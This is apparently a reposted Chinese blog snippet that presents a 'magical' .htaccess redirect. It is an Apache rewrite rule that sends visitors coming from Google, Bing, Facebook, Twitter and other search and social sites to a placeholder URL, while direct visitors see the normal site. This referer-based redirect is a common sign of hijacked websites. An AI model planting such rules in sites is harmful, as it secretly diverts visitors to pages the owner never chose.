<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://跳转网址 [R=301,L] </IfModule>
.htaccess 一段神奇的跳转代码,布布扣,bubuko.com
原文：http://www.cnblogs.com/afish/p/3922728.html